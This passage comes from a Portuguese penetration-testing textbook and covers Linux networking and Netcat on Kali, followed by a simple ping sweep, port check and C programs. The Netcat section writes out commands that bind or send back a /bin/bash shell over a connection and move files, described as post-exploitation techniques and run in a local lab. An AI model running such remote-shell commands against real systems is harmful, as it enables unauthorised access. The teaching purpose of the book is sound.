Ref Use Iface default 192.168.20.1 0.0.0.0 UG 0 0 0 eth0 192.168.20.0 * 255.255.255.0 U 0 0 0 eth0 A saída do comando route nos informa que o gateway default é 192.168.20.1 . Isso faz sentido porque o sistema com o endereço IP 192.168.20.1 corresponde ao roteador wireless em minha rede doméstica. Tome nota de seu próprio gateway default para usá-lo na seção seguinte. Configurando um endereço IP estático Por padrão, sua conexão de rede utiliza o DHCP (Dynamic Host Configuration Protocol, ou Protocolo de Configuração Dinâmica de Hosts) para obter um en- dereço IP da rede. Para configurar um endereço IP estático, de modo que ele não seja alterado, é necessário editar o arquivo /etc/network/interfaces. Use o editor de sua preferência para abrir esse arquivo. O arquivo de configuração default está sendo mostrado na listagem 2.11.
105Capítulo 2 ■ Usando o Kali Linux Listagem 2.11 – O arquivo /etc/network/interfaces default # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback Para que o seu sistema tenha um endereço IP estático, você deve adicionar uma entrada para a interface eth0. Acrescente o texto mostrado na listagem 2.12 em /etc/network/interfaces, com os endereços IP alterados para que estejam de acordo com o seu ambiente. Listagem 2.12 – Adicionando um endereço IP estático # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 192.168.20.9 netmask 255.255.255.0 gateway 192.168.20.1 Configure o endereço IP de eth0 como estático em . Utilize o endereço IP, a máscara de rede e o gateway que foram descobertos na seção anterior para preencher as informações em seu arquivo. Após ter feito essas alterações, reinicie a rede usando service networking restart para que as informações de rede estáticas que acabaram de ser adicionadas sejam utilizadas. Visualizando as conexões de rede Para visualizar as conexões de rede, as portas que estão ouvindo e assim por dian- te, utilize o comando netstat. Por exemplo, você pode ver os programas que estão ouvindo em portas TCP por meio do comando netstat -antp, conforme mostrado na listagem 2.13. As portas são simplesmente sockets de rede baseados em software, que ficam ouvindo a rede de modo a permitir que sistemas remotos interajam com os programas em seu sistema.
Testes de invasão106 Listagem 2.13 – Usando netstat para ver as portas que estão ouvindo root@kali:~/mydirectory# netstat -antp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp6 0 0 :::80 :::* LISTEN 15090/apache2 Você pode ver que o servidor web Apache iniciado anteriormente no capítulo está ouvindo a porta TCP 80. (Consulte a man page para conhecer outras opções do netstat.) Netcat: o canivete suíço das conexões TCP/IP Conforme observação contida na man page, a ferramenta Netcat é conhecida como o canivete suíço para as conexões TCP/IP. É uma ferramenta versátil, que será utilizada ao longo deste livro. Para conhecer as diversas opções do Netcat, digite nc -h, como mostrado na lis- tagem 2.14. Listagem 2.14 – Informações de ajuda do Netcat root@kali:~# nc -h [v1.10-40] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port] options: -c shell commands as `-e'; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!] -b allow broadcasts --trecho omitido-- Verificando se uma porta está ouvindo Vamos fazer o Netcat se conectar a uma porta para ver se essa porta está ouvindo à espera de conexões. Anteriormente, você viu que o servidor web Apache está ouvindo a porta 80 em seu sistema Kali Linux. Instrua o Netcat a se conectar com a porta 80 e a apresentar saídas completas por meio da opção -v (verbose), como mostrado a seguir. Se o Apache foi iniciado corretamente, você deverá ver o seguinte resultado ao tentar se conectar com o serviço:
107Capítulo 2 ■ Usando o Kali Linux root@kali:~# nc -v 192.168.20.9 80 (UNKNOWN) [192.168.20.10] 80 (http) open Como você pode ver, o Netcat informa que a porta 80 realmente está ouvindo (open) na rede. (Veremos mais a respeito de portas abertas e por que elas são inte- ressantes na discussão do capítulo 5 sobre scanning de portas.) Você também pode ficar ouvindo uma porta à procura de uma conexão de entrada por meio do Netcat, como mostrado a seguir: root@kali:~# nc -lvp 1234 listening on [any] 1234 ... Utilize as opções l para ouvir, v para saídas completas (verbose) e p para especificar a porta a ser ouvida. A seguir, abra uma segunda janela do terminal e use o Netcat para se conectar com o Netcat listener (que está ouvindo). root@kali:~# nc 192.168.20.9 1234 hi georgia Após ter se conectado, digite o texto hi georgia e, quando retornar à janela do terminal do listener, você verá que uma conexão foi recebida e que o seu texto foi exibido. listening on [any] 1234 ... connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51917 hi georgia Encerre ambos os processos Netcat por meio da tecla Ctrl-C. Abrindo um shell de comandos listener Agora vamos discutir algo um pouco mais interessante. Ao configurar o seu Netcat listener, utilize a flag -e para dizer ao Netcat para executar /bin/bash (ou iniciar um prompt de comandos Bash) quando uma conexão for recebida. Isso permite que qualquer pessoa que se conecte com o listener execute comandos em seu sistema, como mostrado a seguir: root@kali:~# nc -lvp 1234 -e /bin/bash listening on [any] 1234 ...
Testes de invasão108 Novamente, utilize uma segunda janela do terminal para se conectar com o Netcat listener. root@kali:~# nc 192.168.20.9 1234 whoami root Agora você pode fornecer comandos Linux a serem executados pelo Netcat lis- tener. O comando Linux whoami informará qual é o usuário logado no momento. Nesse caso, como o processo Netcat foi iniciado pelo usuário root, seus comandos serão executados como root. N O T A Esse é um exemplo simples, pois tanto o seu Netcat listener quanto a conexão estão no mesmo sistema. Você também pode usar outra de suas máquinas virtuais, ou até mesmo o seu sistema host, para esse exercício. Feche ambos os processos Netcat novamente. Enviando um shell de comandos de volta a um listener Além de ouvir em uma porta com um shell de comandos, você também pode enviar um shell de comandos de volta a um Netcat listener. Desta vez, configure o Netcat listener sem a flag -e, como mostrado a seguir: root@kali:~# nc -lvp 1234 listening on [any] 1234 ... Agora abra um segundo terminal e conecte-se de volta com o Netcat listener que acabou de ser criado, como mostrado aqui: root@kali:~# nc 192.168.20.9 1234 -e /bin/bash Conecte-se com o Netcat como você faria normalmente, porém, desta vez, utilize a flag -e para executar /bin/bash na conexão. De volta ao seu primeiro terminal, você verá uma conexão, conforme mostrado a seguir e, se você digitar comandos no ter- minal, verá que eles serão executados. (No capítulo 4, saberemos mais sobre como ouvir em uma porta local com o /bin/bash e como enviar o /bin/bash por meio de uma conexão, o que são conhecidos como bind shells e reverse shells, respectivamente.) listening on [any] 1234 ... connect to [192.168.20.9] from (UNKNOWN) [192.168.20.9] 51921 whoami root
109Capítulo 2 ■ Usando o Kali Linux Aqui vai mais um detalhe sobre o Netcat. Desta vez, em vez de apresentar aquilo que chega ao seu listener na tela, utilize > para enviar essa saída a um arquivo, como mostrado a seguir: root@kali:~# nc -lvp 1234 > netcatfile listening on [any] 1234 ... No segundo terminal, configure o Netcat para se conectar, porém, desta vez use o símbolo < para dizer-lhe que envie o conteúdo de um arquivo (myfile) por meio da conexão Netcat. Dê um ou dois segundos ao Netcat para terminar e, em seguida, analise o conteúdo do arquivo netcatfile criado pela primeira instância do Netcat. O conteúdo deverá ser idêntico ao conteúdo de myfile. root@kali:~# nc 192.168.20.9 1234 < mydirectory/myfile Você usou o Netcat para transferir o arquivo. Nesse caso, simplesmente transferi- mos o arquivo de um diretório para outro, porém você pode imaginar como essa técnica pode ser usada para transferir arquivos de um sistema para outro – uma técnica que, normalmente, é muito produtiva na fase de pós-exploração de falhas de um teste de invasão, depois que você tiver acesso a um sistema. Automatizando tarefas com o cron O comando cron permite agendar tarefas para que sejam executadas automati- camente em um horário especificado. No diretório /etc do Kali, você pode ver diversos arquivos e diretórios relacionados ao cron, como mostrado na listagem 2.15. Listagem 2.15 – Arquivos crontab root@kali:/etc# ls | grep cron cron.d cron.daily cron.hourly cron.monthly crontab cron.weekly Os diretórios cron.daily, cron.hourly, cron.monthly e cron.weekly especificam scripts que serão executados automaticamente todos os dias, a cada hora, todos os meses ou toda semana, de acordo com o diretório em que você colocar o seu script.
Testes de invasão110 Se precisar de mais flexibilidade, você pode editar o arquivo /etc/crontab de con- figuração do cron. O texto default está sendo mostrado na listagem 2.16. Listagem 2.16 – O arquivo de configuração crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # Os campos em um crontab, da esquerda para a direita, correspondem ao minuto, à hora, ao dia do mês, ao mês, ao dia da semana, ao usuário que executará o comando e, por fim, ao comando a ser executado. Para executar um comando todos os dias da semana, a cada hora e assim por diante, utilize um asterisco (*) em vez de especificar um valor para a coluna. Por exemplo, dê uma olhada na primeira linha do crontab em , que executa as tarefas do cron a cada hora, e que estão especificadas em /etc/cron.hourly. Esse crontab executa no 17º minuto de cada hora, todos os dias de todos os meses e em todos os dias da semana. A linha em informa que o crontab diário (/etc/cron.daily) será executado no 25º minuto da 6ª hora de todos os dias de todos os meses, em todos os dias da semana. (Para ter mais flexibilidade, você pode adicionar uma linha aqui, em vez de fazer acréscimos às listas para toda hora, todo dia, toda semana ou todo mês.)
111Capítulo 2 ■ Usando o Kali Linux Resumo Neste capítulo, demos uma olhada em algumas tarefas comuns do Linux. Nave- gar pelo sistema de arquivos do Linux, trabalhar com dados e executar serviços são habilidades que serão úteis à medida que você prosseguir pelo restante deste livro. Além disso, quando atacar sistemas Linux, saber quais comandos devem ser executados em um ambiente Linux ajudará você a tirar o máximo proveito de uma exploração bem-sucedida de falhas. Você pode executar automaticamen- te um comando, de forma periódica, ao configurar uma tarefa no cron, ou pode usar o Netcat para transferir um arquivo a partir de seu computador de ataque. Você usará o Kali Linux para realizar os seus ataques ao longo deste livro, e um dos sistemas-alvo é o Ubuntu Linux, portanto conhecer o básico fará com que o aprendizado dos testes de invasão ocorra mais naturalmente.
112 capítulo 3 Programação Neste capítulo, daremos uma olhada em alguns exemplos básicos de programa- ção de computadores. Veremos como criar programas para automatizar diversas tarefas úteis em várias linguagens de programação. Apesar de usarmos softwares prontos na maior parte deste livro, ser capaz de criar seus próprios programas é um recurso útil. Scripts com o Bash Nesta seção, daremos uma olhada em como usar scripts Bash para executar diver- sos comandos de uma só vez. Scripts Bash ou shell scripts são arquivos que incluem vários comandos de terminal a serem executados. Qualquer comando que possa ser executado em um terminal poderá ser executado em um script. Ping Chamaremos o nosso primeiro script de pingscript.sh. Quando for executado, esse script executará um ping sweep em nossa rede local, que enviará mensagens ICMP (Internet Control Message Protocol) aos sistemas remotos para ver se eles respondem. Usaremos a ferramenta ping para determinar quais hosts são acessíveis em uma rede. (Embora alguns hosts possam não responder às solicitações ping e possam estar ativos apesar de não responderem ao ping, um ping sweep continua sendo um bom ponto de partida.) Por padrão, fornecemos o endereço IP ou o nome do host ao ping. Por exemplo, para efetuar um ping em nosso alvo Windows XP, digite o código em negrito que está sendo mostrado na listagem 3.1.
113Capítulo 3 ■ Programação Listagem 3.1 – Efetuando um ping em um host remoto root@kali:~/# ping 192.168.20.10 PING 192.168.20.10 (192.168.20.10) 56(84) bytes of data. 64 bytes from 192.168.20.10: icmp_req=1 ttl=64 time=0.090 ms 64 bytes from 192.168.20.10: icmp_req=2 ttl=64 time=0.029 ms 64 bytes from 192.168.20.10: icmp_req=3 ttl=64 time=0.038 ms 64 bytes from 192.168.20.10: icmp_req=4 ttl=64 time=0.050 ms ^C --- 192.168.20.10 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 2999 ms rtt min/avg/max/mdev = 0.029/0.051/0.090/0.024 ms Com base no resultado do ping, podemos dizer que o alvo Windows XP está ativo e respondendo aos pings porque recebemos respostas às nossas solicitações ICMP. (O problema com o ping é que ele continuará executando indefinidamente, a menos que você o interrompa com Ctrl-C.) Script Bash simples Vamos começar criando um script Bash simples para efetuar ping nos hosts da rede. Um bom ponto de partida consiste em adicionar algumas informações de ajuda que orientem os usuários a como usar corretamente o seu script. #!/bin/bash echo "Usage: ./pingscript.sh [network]" echo "example: ./pingscript.sh 192.168.20" A primeira linha desse script diz ao terminal para usar o interpretador Bash. As duas próximas linhas que começam com echo simplesmente informam ao usuário que o nosso script para execução do ping receberá um argumento de linha de comando (a rede), o qual diz ao script em que rede será efetuado o ping sweep (por exemplo, 192.168.20). O comando echo simplesmente exibe o texto entre aspas. N O T A Esse script implica que estamos trabalhando com uma rede classe C, em que os três primeiros octetos do endereço IP compõem a rede. Depois de criar o script, utilize chmod para transformá-lo em um executável. root@kali:~/# chmod 744 pingscript.sh
Testes de invasão114 Executando o nosso script Anteriormente, quando fornecemos comandos ao Linux, digitamos o nome do comando no prompt. A localização dos comandos prontos do Linux no sistema de arquivos, bem como das ferramentas de testes de invasão adicionadas ao Kali Linux, fazem parte de nossa variável de ambiente PATH. A variável PATH informa ao Linux quais diretórios devem ser pesquisados à procura de arquivos executáveis. Para ver quais diretórios estão incluídos em nosso PATH, digite echo $PATH. root@kali:~/# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Observe na saída, que o diretório /root não está listado. Isso significa que não poderemos simplesmente digitar pingscript.sh para executar o nosso script Bash. Em vez disso, devemos digitar ./pingscript.sh para dizer ao terminal que execute o script a partir de nosso diretório corrente. Como mostrado a seguir, o script exibe as informações sobre o seu uso. root@kali:~/# ./pingscript.sh Usage: ./pingscript.sh [network] example: ./pingscript.sh 192.168.20 Adicionando funcionalidades por meio de instruções if Agora vamos adicionar um pouco mais de funcionalidades usando uma instrução if, como mostrado na listagem 3.2. Listagem 3.2 – Adicionando uma instrução if #!/bin/bash if [ "$1" == "" ] then echo "Usage: ./pingscript.sh [network]" echo "example: ./pingscript.sh 192.168.20" fi Normalmente, um script deve exibir informações sobre o seu uso somente se o usuário utilizá-lo incorretamente. Neste caso, o usuário deve fornecer a rede em que o scan será efetuado como um argumento da linha de comando. Se o usuário não fizer isso, queremos lhe mostrar a maneira de usar o nosso script corretamente ao exibir informações sobre o seu uso.
115Capítulo 3 ■ Programação Para isso, podemos usar uma instrução if para verificar se uma condição está sendo atendida. Ao usar uma instrução if, podemos fazer o nosso script exibir as informações de uso somente em determinadas condições – por exemplo, se o usuário não fornecer um argumento na linha de comando. A instrução if está disponível em várias linguagens de programação, embora a sintaxe varie de linguagem para linguagem. Nos scripts Bash, uma instrução if é utilizada da seguinte maneira: if [condição], em que condição corresponde à condição que deverá ser atendida. Em nosso script, inicialmente verificamos se o primeiro argumento da linha de comando é nulo . O símbolo $1 representa o primeiro argumento da linha de comando em um script Bash, e dois sinais de igual (==) verificam a igualdade. Após a instrução if, temos uma instrução then . Qualquer comando entre a instrução then e o fi (if ao contrário) será executado somente se a instrução condicional for verdadeira – nesse caso, quando o primeiro argumento da linha de comando para o script for igual a nulo. Quando executarmos o nosso novo script sem argumentos na linha de comando, a instrução if será avaliada como verdadeira, pois o primeiro argumento da linha de comando realmente será nulo, como mostrado aqui: root@kali:~/# ./pingscript.sh Usage: ./pingscript.sh [network] example: ./pingscript.sh 192.168.20 Como esperado, veremos as informações de uso sendo exibidas na tela. Laço for Se executarmos o script novamente com um argumento na linha de comando, nada acontecerá. Agora vamos acrescentar algumas funcionalidades que serão acionadas quando o usuário executar o script com os argumentos adequados, como mostrado na listagem 3.3. Listagem 3.3 – Adicionando um laço for #!/bin/bash if [ "$1" == "" ] then echo "Usage: ./pingscript.sh [network]"
Testes de invasão116 echo "example: ./pingscript.sh 192.168.20" else for x in `seq 1 254`; do ping -c 1 $1.$x done fi Depois de nossa instrução then, usamos uma instrução else para orientar o script a executar um código quando a instrução if for avaliada como falsa – nesse caso, se o usuário fornecer um argumento de linha de comando. Como queremos que esse script execute um ping em todos os hosts possíveis da rede local, devemos percorrer os números de 1 a 254 em um laço (as possibilidades para o octeto final de um endereço IP versão 4) e executar o comando ping para cada uma dessas possibilidades. Uma maneira ideal de percorrer possibilidades sequenciais é por meio de um laço for . Nosso laço for, for x in `seq 1 254`; do, diz ao script para executar o código que se segue para cada número de 1 a 254. Isso nos permite executar um conjunto de instruções 254 vezes, em vez de criar um código para cada instância. Indicamos o final de um laço for por meio da instrução done . Dentro do laço for, queremos efetuar o ping dos endereços IP da rede. Ao usar a man page do ping, descobrimos que a opção -c nos permite limitar o número de vezes que efetuamos um ping em um host. Definimos -c com 1 para que seja efetuado somente um ping em cada host. Para especificar em que host deverá ser executado o ping, vamos concatenar o pri- meiro argumento da linha de comando (que representa os três primeiros octetos) com o valor da iteração corrente do laço for. O comando completo a ser usado é ping -c 1 $1.$x. Lembre-se de que $1 representa o primeiro argumento da linha de comando e $x é o valor da iteração corrente do laço for. Na primeira execução de nosso laço for, será executado o ping de 192.168.20.1, em seguida o de 192.168.20.2, passando por todos os endereços até 192.168.20.254. Após a iteração 254, o nosso laço for será concluído. Quando executarmos o nosso script com os três primeiros octetos de nosso en- dereço IP como o argumento da linha de comando, o script fará o ping de todos os endereço IP da rede, como mostrado na listagem 3.4.
117Capítulo 3 ■ Programação Listagem 3.4 – Executando o script para efetuar um ping sweep root@kali:~/# ./pingscript.sh 192.168.20 PING 192.168.20.1 (192.168.20.1) 56(84) bytes of data. 64 bytes from 192.168.20.1: icmp_req=1 ttl=255 time=8.31 ms --- 192.168.20.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 8.317/8.317/8.317/0.000 ms PING 192.168.20.2(192.168.20.2) 56(84) bytes of data. 64 bytes from 192.168.20.2: icmp_req=1 ttl=128 time=166 ms --- 192.168.20.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 166.869/166.869/166.869/0.000 ms PING 192.168.20.3 (192.168.20.3) 56(84) bytes of data. From 192.168.20.13 icmp_seq=1 Destination Host Unreachable --- 192.168.20.3 ping statistics --- 1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms --trecho omitido-- Seus resultados irão variar conforme os sistemas presentes em sua rede local. De acordo com essa saída, posso dizer que, em minha rede, o host 192.168.20.1 está ativo e que eu recebi uma resposta ICMP . Por outro lado, o host 192.168.20.3 não está ativo, portanto recebi uma notificação de host inacessível . Organizando os resultados Todas essas informações exibidas na tela não são muito elegantes de se ver, e qualquer pessoa que utilize o nosso script precisará analisar diversas informações para determinar quais hosts da rede estão ativos. Vamos adicionar mais algumas funcionalidades para organizar os nossos resultados. No capítulo anterior, discutimos o comando grep, que faz pesquisas e efetua a correspondência com determinados padrões. Vamos usar o grep para filtrar a saída do script, como mostrado na listagem 3.5. Listagem 3.5 – Usando o grep para filtrar os resultados #!/bin/bash if [ "$1" == "" ] then
Testes de invasão118 echo "Usage: ./pingscript.sh [network]" echo "example: ./pingscript.sh 192.168.20" else for x in `seq 1 254`; do ping -c 1 $1.$x | grep "64 bytes" done fi Nesse caso, iremos procurar todas as ocorrências da string 64 bytes , que apare- cem quando uma resposta ICMP é recebida ao efetuarmos um ping em um host. Se executarmos o script com essa alteração, veremos que somente as linhas que incluem o texto 64 bytes serão exibidas na tela, como mostrado aqui: root@kali:~/# ./pingscript.sh 192.168.20 64 bytes from 192.168.20.1: icmp_req=1 ttl=255 time=4.86 ms 64 bytes from 192.168.20.2: icmp_req=1 ttl=128 time=68.4 ms 64 bytes from 192.168.20.8: icmp_req=1 ttl=64 time=43.1 ms --trecho omitido-- Temos indicadores somente para os hosts ativos; aqueles que não responderem não serão exibidos na tela. Entretanto podemos deixar esse script mais elegante ainda. O objetivo de nosso ping sweep é obter uma lista dos hosts ativos. Ao usar o comando cut, discutido no capítulo 2, podemos exibir os endereços IP somente dos hosts ativos, como mostrado na listagem 3.6. Listagem 3.6 – Usando cut para filtrar melhor os resultados #!/bin/bash if [ "$1" == "" ] then echo "Usage: ./pingscript.sh [network]" echo "example: ./pingscript.sh 192.168.20" else for x in `seq 1 254`; do ping -c 1 $1.$x | grep "64 bytes" | cut -d" " -f4 done fi Podemos usar um espaço em branco como delimitador e acessar o quarto campo, que é o nosso endereço IP, como mostrado em .
119Capítulo 3 ■ Programação Agora executamos o script novamente, conforme mostrado a seguir: root@kali:~/mydirectory# ./pingscript.sh 192.168.20 192.168.20.1: 192.168.20.2: 192.168.20.8: --trecho omitido-- Infelizmente, vemos um caractere dois-pontos no final de cada linha. O resultado seria claro o suficiente para um usuário; porém, se quisermos usar esses resul- tados como entrada para qualquer outro programa, será necessário apagar os dois-pontos no final. Nesse caso, o sed é a resposta. O comando sed que apagará o caractere final de cada linha é sed 's/.$//', como mostrado na listagem 3.7. Listagem 3.7 – Usando o sed para remover os dois-pontos no final #!/bin/bash if [ "$1" == "" ] then echo "Usage: ./pingscript.sh [network]" echo "example: ./pingscript.sh 192.168.20" else for x in `seq 1 254`; do ping -c 1 $1.$x | grep "64 bytes" | cut -d" " -f4 | sed 's/.$//' done fi Agora, quando executarmos o script, tudo parecerá perfeito, como mostrado aqui: root@kali:~/# ./pingscript.sh 192.168.20 192.168.20.1 192.168.20.2 192.168.20.8 --trecho omitido-- N O T A É claro que, se quisermos enviar o resultado para um arquivo em vez de enviá-lo para a tela, podemos usar o operador >> discutido no capítulo 2 para concatenar cada endereço IP ativo em um arquivo. Tente automatizar a execução de outras tarefas no Linux para exercitar suas habilidades com os scripts Bash.
Testes de invasão120 Scripts com Python Os sistemas Linux normalmente vêm com interpretadores para outras linguagens de scripting, como o Python e o Perl. Os interpretadores para ambas as lingua- gens estão incluídos no Kali Linux. Nos capítulos de 16 a 19, usaremos o Python para implementar o nosso próprio código de exploit. Por enquanto, vamos criar um script Python simples e executá-lo no Kali Linux somente para demonstrar o básico sobre a criação de scripts Python. Neste exemplo, faremos algo semelhante ao nosso primeiro exemplo com o Netcat no capítulo 2; faremos a conexão com uma porta em um sistema e verificaremos se a porta está ouvindo. Um ponto de partida para o nosso script está sendo mostrado a seguir: #!/usr/bin/python ip = raw_input("Enter the ip: ") port = input("Enter the port: ") Na seção anterior, a primeira linha de nosso script dizia ao terminal para usar o Bash para interpretar o script. Fazemos o mesmo aqui ao referenciar o interpre- tador Python instalado no Kali Linux em /usr/bin/python . Começaremos solicitando dados ao usuário e gravando os dados de entrada em variáveis. As variáveis armazenarão os dados de entrada para uso posterior no script. Para obter dados de entrada do usuário, podemos usar a função raw_input do Python. Queremos salvar nossa porta como um inteiro, portanto usamos uma função pronta semelhante do Python, que é a função input, em . Agora pedimos ao usuário para fornecer um endereço IP e uma porta a serem testados. Após salvar o arquivo, utilize chmod para tornar o script executável antes de usá-lo, conforme mostrado aqui: root@kali:~/mydirectory# chmod 744 pythonscript.py root@kali:~/mydirectory# ./pythonscript.py Enter the ip: 192.168.20.10 Enter the port: 80 Ao executar o script, você será solicitado a fornecer um endereço IP e uma porta, conforme esperado. Agora acrescentaremos algumas funcionalidades que nos permitirão usar os da- dos de entrada do usuário para nos conectarmos ao sistema escolhido na porta selecionada e ver se ela está aberta (listagem 3.8).
121Capítulo 3 ■ Programação Listagem 3.8 – Adicionando a funcionalidade de scanning de portas #!/usr/bin/python import socket ip = raw_input("Enter the ip: ") port = input("Enter the port: ") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if s.connect_ex((ip, port)): print "Port", port, "is closed" else: print "Port", port, "is open" Para realizar tarefas de rede no Python, podemos incluir uma biblioteca chamada socket por meio do comando import socket . A biblioteca socket faz o trabalho pesado de configuração de um socket de rede. A sintaxe para criar um socket de rede TCP é: socket.socket(socket.AF_INET, socket.SOCK_STREAM). Definimos uma variável que corresponde a esse socket de rede em . Fazendo a conexão com uma porta Ao criar um socket para se conectar a uma porta remota, o primeiro candidato disponível no Python é a função de socket chamada connect. Entretanto há um candidato melhor para os nossos propósitos: a função connect_ex, que é similar. De acordo com a documentação do Python, connect_ex é igual à connect, exceto pelo fato de ela retornar um código de erro em vez de gerar uma exceção, caso a conexão falhe. Se a conexão for bem-sucedida, connect_ex retornará o valor 0. Como queremos saber se a função pode se conectar à porta, esse valor de retorno parece ideal para ser fornecido a uma instrução if. Instrução if no Python Ao implementar instruções if no Python, usamos if condição:. Em Python, as ins- truções que fazem parte de uma condicional ou de um laço são indicadas por meio de indentações, em vez de usar marcadores de fim, como vimos nos scripts Bash. Podemos orientar nossa instrução if para que ela avalie o valor retornado pela conexão de nosso socket TCP com o endereço IP e a porta definidos pelo usuário por meio do comando if s.connect_ex((ip, port)): . Se a conexão for bem-sucedida, connect_ex retornará 0, que será avaliado pela instrução if como falso. Se a conexão
Testes de invasão122 falhar, connect_ex retornará um inteiro positivo, ou seja, verdadeiro. Desse modo, se nossa instrução if for avaliada como verdadeira, faz sentido dizer que a porta está fechada e podemos apresentar isso ao usuário por meio do comando print do Python em . E, como no exemplo do script Bash, se connect_ex retornar 0 em , podemos usar uma instrução else (a sintaxe é else: em Python) para informar ao usuário que a porta testada está aberta. Agora execute o script atualizado para testar se a porta TCP 80 está executando no host-alvo Windows XP, como mostrado aqui: root@kali:~/# ./pythonscript.py Enter the ip: 192.168.20.10 Enter the port: 80 Port 80 is open De acordo com o nosso script, a porta 80 está aberta. Agora execute o script novamente para a porta 81. root@kali:~/# ./pythonscript.py Enter the ip: 192.168.20.10 Enter the port: 81 Port 81 is closed Dessa vez, o script informou que a porta 81 está fechada. N O T A Daremos uma olhada na verificação de portas abertas no capítulo 5, e retomaremos aos scripts Python quando estudarmos o desenvolvimento de exploits. O Kali Linux também tem interpretadores para as linguagens Perl e Ruby. Aprenderemos um pouco de Ruby no capítulo 19. Nunca é demais saber um pouco de várias linguagens. Se estiver disposto a encarar um desafio, veja se você consegue recriar esse script em Perl e em Ruby. Criando e compilando programas em C É hora de mais um exemplo simples de programação, desta vez na linguagem de programação C. De modo diferente das linguagens de scripting como o Bash e o Python, o código C deve ser compilado e traduzido para uma linguagem de máquina que possa ser compreendida pela CPU antes de ser executado. O Kali Linux inclui o GCC (GNU Compiler Collection), que nos permitirá compi- lar código C a ser executado no sistema. Vamos criar um programa C simples que diz “hello” a um argumento de linha de comando, como mostrado na listagem 3.9.
123Capítulo 3 ■ Programação Listagem 3.9 – Programa “Hello World” em C #include <stdio.h> int main(int argc, char *argv[]) { if(argc < 2) { printf("%s\n", "Pass your name as an argument"); return 0; } else { printf("Hello %s\n", argv[1]); return 0; } } A sintaxe do C é um pouco diferente da sintaxe do Python e do Bash. Como o nosso código será compilado, não precisamos dizer ao terminal qual interpretador deve ser usado no início de nosso código. Em primeiro lugar, assim como em nosso exemplo com o Python, importamos uma biblioteca C. Nesse caso, importamos a biblioteca stdio (abreviatura de standard input and output), que nos permite aceitar dados de entrada e exibir dados de saída no terminal. Em C, importamos a stdio por meio do comando #include <stdio.h> . Todo programa em C contém uma função chamada main , que é executada quando o programa é iniciado. O nosso programa aceitará um argumento de linha de comando, portanto passamos um inteiro argc e um array de caracteres argv para main. argc corresponde ao contador de argumentos e argv é o vetor de argumentos, que inclui qualquer argumento de linha de comando passado ao programa. Essa é simplesmente a sintaxe padrão dos programas C que aceitam argumentos de linha de comando. (Em C, o início e o fim de funções, laços etc. são representados por chaves {}.) Inicialmente, o nosso programa verifica se um argumento está presente na linha de comando. O inteiro argc corresponde ao tamanho do array de argumentos; se ele for menor que dois (o nome do programa propriamente dito e o argumento da linha de comando), então um argumento de linha de comando não foi espe- cificado. Podemos usar uma instrução if para verificar .
Testes de invasão124 A sintaxe de if também é um pouco diferente em C. Como em nosso script Bash, se um argumento de linha de comando não for especificado, podemos apresentar informações sobre como usar o programa ao usuário . A função printf nos permite escrever dados de saída no terminal. Observe também que as instruções em C terminam com um ponto e vírgula (;). Depois que o programa estiver concluído, usamos uma instrução return para finalizar a função main. Se um argumento de linha de comando for fornecido, nossa instrução else orientará o programa a dizer hello . (Não se esqueça de usar chaves para fechar todos os seus laços e a função main.) Antes de podermos executar o nosso programa, é preciso compilá-lo com o GCC, conforme mostrado aqui. Salve o programa como cprogram.c. root@kali:~# gcc cprogram.c -o cprogram Utilize a opção -o para especificar o nome do programa compilado e forneça o seu código C ao GCC. Agora execute o programa a partir de seu diretório corrente. Se o programa for executado sem argumentos, você deverá ver as informações sobre o seu uso, conforme mostrado aqui: root@kali:~# ./cprogram Pass your name as an argument Por outro lado, se passarmos um argumento ao programa, nesse caso o nosso nome, o programa nos saudará com hello. root@kali:~# ./cprogram georgia Hello georgia N O T A Daremos uma olhada em outro exemplo de programação C no capítulo 16, em que um pouco de código C mal escrito resultará em uma condição de buffer overflow (transbordamento de buffer), que iremos explorar. Resumo Neste capítulo, demos uma olhada em programas simples em três linguagens diferentes. Vimos as construções básicas, por exemplo, o processo de salvar infor- mações em variáveis para uso posterior. Além disso, aprendemos a usar condicio- nais, como as instruções if, e iterações, como os laços for, para fazer com que os programas tomem decisões de acordo com as informações fornecidas. Apesar de a sintaxe usada variar de uma linguagem de programação para outra, as ideias são as mesmas.
